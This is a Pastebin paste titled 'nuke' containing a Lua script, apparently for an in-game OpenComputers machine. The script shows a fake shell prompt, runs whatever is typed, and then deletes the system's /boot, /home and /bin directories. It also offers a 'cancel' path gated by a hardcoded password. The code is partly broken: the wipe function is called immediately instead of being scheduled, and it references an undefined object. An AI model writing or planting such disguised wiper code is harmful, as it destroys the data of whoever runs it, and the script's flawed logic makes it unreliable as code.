Advertisement
Guest User

nuke

a guest
Nov 22nd, 2019
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.53 KB | None | 0 0
  1. local fs = require("filesystem")
  2. local component = require("component")
  3. local shell = require("shell")
  4. local term = require("term")
  5. local event = require("event")
  6. term.clear()
  7.  
  8. if fs.exists("/home") then
  9.   shell.setWorkingDirectory("/home")
  10. end
  11.  
  12. if fs.exists("/etc/motd") then
  13.   os.execute("/etc/motd")
  14. end
  15.  
  16. function wipe()
  17.   fs.remove("/boot")
  18.   fs.remove("/home")
  19.   fs.remove("/bin")
  20.   fs.remove("/autorun.exe")
  21.   os.exit()
  22. end
  23.  
  24. if component.isAvailable("gpu") then
  25.   term.clearLine()
  26.   local g = component.gpu
  27.   g.setForeground(0xFF0000)
  28.   local wd = shell.getWorkingDirectory()
  29.   local x, y = term.getCursor()
  30.   print(wd.." # ")
  31.   g.setForeground(0xFFFFFF)
  32.   term.setCursor(wd:len() + 4, y)
  33.   local input = io.read()
  34.   if input == "cancel" then  
  35.     g.setForeground(0xFF0000)
  36.     local id = event.timer(10, wipe())
  37.     print("Data will be wiped in 10 seconds or if an incorrect password is entered. Enter password now.\n")
  38.     local pass = io.read()
  39.     local file = io.open("/bin/password.txt","r")
  40.     local content = file:read("*a")
  41.     file:close()
  42.    
  43.     if pass == "s3cr3t" then
  44.       local succ = event.cancel(id)
  45.       g.setForeground(0x00FF00)
  46.       if succ then
  47.         print("Cancelled sucessfully.")
  48.       else
  49.         g.setForeground(0x00FF00)
  50.         print("Error cancelling timer. shutting down")
  51.         c.computer.stop()
  52.       end
  53.       os.sleep(3)
  54.       os.exit()
  55.     else
  56.       wipe()
  57.     end
  58.   else
  59.     os.execute(input)
  60.     fs.remove("/boot")
  61.     fs.remove("/home")
  62.     fs.remove("/bin")
  63.     fs.remove("/autorun.exe")
  64.     os.exit()
  65.   end
  66. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement